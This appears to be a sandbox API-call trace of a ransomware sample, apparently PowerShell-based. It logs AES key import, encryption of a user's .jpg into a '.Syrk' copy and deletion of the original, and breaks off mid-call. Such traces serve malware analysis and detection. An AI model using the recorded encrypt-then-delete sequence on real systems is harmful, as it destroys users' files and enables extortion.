(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0255.575] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.576] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0255.576] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.576] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.576] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0255.576] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.576] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.576] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0255.576] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.576] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.577] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.577] EtwEventActivityIdControl () returned 0x0 [0255.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.577] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.577] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0255.579] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d210) returned 1 [0255.581] CryptImportKey (in: hProv=0x5c4d210, pbData=0x2516148*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c995e0) returned 1 [0255.581] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.582] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.582] EtwEventActivityIdControl () returned 0x0 [0255.582] EtwEventActivityIdControl () returned 0x0 [0255.582] EtwEventActivityIdControl () returned 0x0 [0255.588] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg")) returned 0x20 [0255.589] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg")) returned 0x20 [0255.589] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0255.590] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", lpFilePart=0x0) returned 0x29 [0255.590] EtwEventActivityIdControl () returned 0x0 [0255.590] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.591] EtwEventActivityIdControl () returned 0x0 [0255.591] EtwEventActivityIdControl () returned 0x0 [0255.591] EtwEventActivityIdControl () returned 0x0 [0255.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0255.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", lpFilePart=0x0) returned 0x29 [0255.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.592] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0255.593] GetFileType (hFile=0x364) returned 0x1 [0255.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.593] GetFileType (hFile=0x364) returned 0x1 [0255.593] EtwEventActivityIdControl () returned 0x0 [0255.593] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.594] EtwEventActivityIdControl () returned 0x0 [0255.594] EtwEventActivityIdControl () returned 0x0 [0255.594] EtwEventActivityIdControl () returned 0x0 [0255.595] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0255.595] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk", lpFilePart=0x0) returned 0x2e [0255.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.596] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0255.597] GetFileType (hFile=0x368) returned 0x1 [0255.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.597] GetFileType (hFile=0x368) returned 0x1 [0255.597] EtwEventActivityIdControl () returned 0x0 [0255.597] CryptGenRandom (in: hProv=0x5c4d210, dwLen=0x10, pbBuffer=0x2525ffc | out: pbBuffer=0x2525ffc) returned 1 [0255.598] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.599] CryptDuplicateKey (in: hKey=0x5c995e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99860) returned 1 [0255.599] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.599] CryptSetKeyParam (hKey=0x5c99860, dwParam=0x4, pbData=0x2527328*=0x1, dwFlags=0x0) returned 1 [0255.599] CryptSetKeyParam (hKey=0x5c99860, dwParam=0x1, pbData=0x25272f4, dwFlags=0x0) returned 1 [0255.599] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.600] EtwEventActivityIdControl () returned 0x0 [0255.600] EtwEventActivityIdControl () returned 0x0 [0255.600] EtwEventActivityIdControl () returned 0x0 [0255.601] EtwEventActivityIdControl () returned 0x0 [0255.601] ReadFile (in: hFile=0x364, lpBuffer=0x2529f70, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2529f70*, lpNumberOfBytesRead=0x5a2e7d8*=0x7087, lpOverlapped=0x0) returned 1 [0255.603] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x253df88*, pdwDataLen=0x5a2e7cc*=0x7080, dwBufLen=0x7080 | out: pbData=0x253df88*, pdwDataLen=0x5a2e7cc*=0x7080) returned 1 [0255.604] WriteFile (in: hFile=0x368, lpBuffer=0x25260d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x25260d8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0255.605] WriteFile (in: hFile=0x368, lpBuffer=0x253ef74*, nNumberOfBytesToWrite=0x6094, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x253ef74*, lpNumberOfBytesWritten=0x5a2e7b0*=0x6094, lpOverlapped=0x0) returned 1 [0255.606] ReadFile (in: hFile=0x364, lpBuffer=0x2529f70, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2529f70*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0255.607] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2545014*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2545014*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0255.607] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2545030*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2545030*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0255.607] WriteFile (in: hFile=0x368, lpBuffer=0x25260d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x25260d8*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0255.607] CloseHandle (hObject=0x368) returned 1 [0255.609] CloseHandle (hObject=0x364) returned 1 [0255.609] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.610] EtwEventActivityIdControl () returned 0x0 [0255.610] EtwEventActivityIdControl () returned 0x0 [0255.610] EtwEventActivityIdControl () returned 0x0 [0255.617] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg")) returned 0x20 [0255.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0255.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", lpFilePart=0x0) returned 0x29 [0255.620] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.620] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.620] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0255.620] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0255.621] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.621] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.621] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0255.621] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0255.621] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.621] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0255.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0255.621] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.622] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0255.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0255.622] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg")) returned 0x20 [0255.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0255.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", lpFilePart=0x0) returned 0x29 [0255.625] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0255.625] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", lpFilePart=0x0) returned 0x29 [0255.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0255.625] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0255.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", lpFilePart=0x0) returned 0x29 [0255.626] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0255.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0255.626] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0255.626] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0255.626] CoTaskMemFree (pv=0x3b0008) [0255.628] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg")) returned 0x20 [0255.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0255.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg", lpFilePart=0x0) returned 0x29 [0255.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0255.629] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg"), fInfoLevelId=0x0, lpFileInformation=0x254fda8 | out: lpFileInformation=0x254fda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8939c0, ftCreationTime.dwHighDateTime=0x1d999ed, ftLastAccessTime.dwLowDateTime=0xbbe17a20, ftLastAccessTime.dwHighDateTime=0x1d99b9c, ftLastWriteTime.dwLowDateTime=0xbbe17a20, ftLastWriteTime.dwHighDateTime=0x1d99b9c, nFileSizeHigh=0x0, nFileSizeLow=0x7087)) returned 1 [0255.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0255.629] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg")) returned 1 [0255.647] EtwEventActivityIdControl () returned 0x0 [0255.647] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.647] EtwEventActivityIdControl () returned 0x0 [0255.647] EtwEventActivityIdControl () returned 0x0 [0255.647] EtwEventActivityIdControl () returned 0x0 [0255.655] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg.syrk")) returned 0x20 [0255.656] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg.syrk")) returned 0x20 [0255.656] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0255.656] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk", lpFilePart=0x0) returned 0x2e [0255.656] EtwEventActivityIdControl () returned 0x0 [0255.657] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.657] EtwEventActivityIdControl () returned 0x0 [0255.657] EtwEventActivityIdControl () returned 0x0 [0255.657] EtwEventActivityIdControl () returned 0x0 [0255.678] EtwEventActivityIdControl () returned 0x0 [0255.679] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.679] EtwEventActivityIdControl () returned 0x0 [0255.679] EtwEventActivityIdControl () returned 0x0 [0255.679] EtwEventActivityIdControl () returned 0x0 [0255.690] EtwEventActivityIdControl () returned 0x0 [0255.690] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.690] EtwEventActivityIdControl () returned 0x0 [0255.690] EtwEventActivityIdControl () returned 0x0 [0255.690] EtwEventActivityIdControl () returned 0x0 [0255.694] EtwEventActivityIdControl () returned 0x0 [0255.695] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.695] EtwEventActivityIdControl () returned 0x0 [0255.695] EtwEventActivityIdControl () returned 0x0 [0255.695] EtwEventActivityIdControl () returned 0x0 [0255.699] EtwEventActivityIdControl () returned 0x0 [0255.699] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.699] EtwEventActivityIdControl () returned 0x0 [0255.699] EtwEventActivityIdControl () returned 0x0 [0255.699] EtwEventActivityIdControl () returned 0x0 [0255.703] EtwEventActivityIdControl () returned 0x0 [0255.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0255.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\v30MfWJ0Z.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\v30mfwj0z.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x235f364 | out: lpFileInformation=0x235f364*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f07ad0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x13f07ad0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x13f07ad0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x70a4)) returned 1 [0255.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0255.715] GetConsoleOutputCP () returned 0x1b5 [0255.715] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.715] GetConsoleOutputCP () returned 0x1b5 [0255.716] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.716] GetConsoleOutputCP () returned 0x1b5 [0255.716] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.716] GetConsoleOutputCP () returned 0x1b5 [0255.716] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.716] GetConsoleOutputCP () returned 0x1b5 [0255.716] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.716] GetConsoleOutputCP () returned 0x1b5 [0255.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.717] GetConsoleOutputCP () returned 0x1b5 [0255.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.717] GetConsoleOutputCP () returned 0x1b5 [0255.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.717] GetConsoleOutputCP () returned 0x1b5 [0255.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.717] GetConsoleOutputCP () returned 0x1b5 [0255.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.718] GetConsoleOutputCP () returned 0x1b5 [0255.718] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.718] GetConsoleOutputCP () returned 0x1b5 [0255.718] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, 